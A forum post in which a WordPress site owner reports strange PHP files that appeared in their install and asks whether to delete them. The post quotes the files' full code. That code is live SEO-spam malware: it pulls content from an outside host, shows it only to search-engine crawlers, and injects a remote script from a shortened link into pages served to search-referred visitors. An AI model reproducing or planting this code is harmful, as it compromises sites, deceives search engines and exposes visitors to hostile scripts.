Many strange php files

Hi guys, I’ve found many strange php files in the WP directory, such as barn.php, tern.php, tium.php and many more. These seem to have been added between April 1st and 4th. There is a strange code:

<?php
function gethttpcnt($url,$timeout = 5){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$cnt = curl_exec($ch);
curl_close($ch);
return $cnt;}
$houzui=stripslashes($_SERVER['QUERY_STRING']);
if($houzui==''){
$ncontent=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/list.txt");
$newcontent=explode("||",$ncontent);
$content=gethttpcnt($newcontent[0]);
if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
echo $content;}
}else{
$nhouzui=explode(".",$houzui);
$nmulu=explode("_",$nhouzui[0]);
$content=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/".$nmulu[0]."/".$nmulu[1].'.txt');
if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
echo $content;}}
if(stristr($_SERVER['HTTP_REFERER'],"google")||stristr($_SERVER['HTTP_REFERER'],"yahoo")||stristr($_SERVER['HTTP_REFERER'],"bing")||stristr($_SERVER['HTTP_REFERER'],"msn")||stristr($_SERVER['HTTP_REFERER'],"aol")){
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
if (preg_match("/zh-c/i", $lang)==false||preg_match("/zh-c/i", $lang)==0){
echo "<script type='text/javascript' src='http://bit.ly/1s9BoaN'></script></html>";
}
}
?>

Should I delete them?

Thanks.
-mbg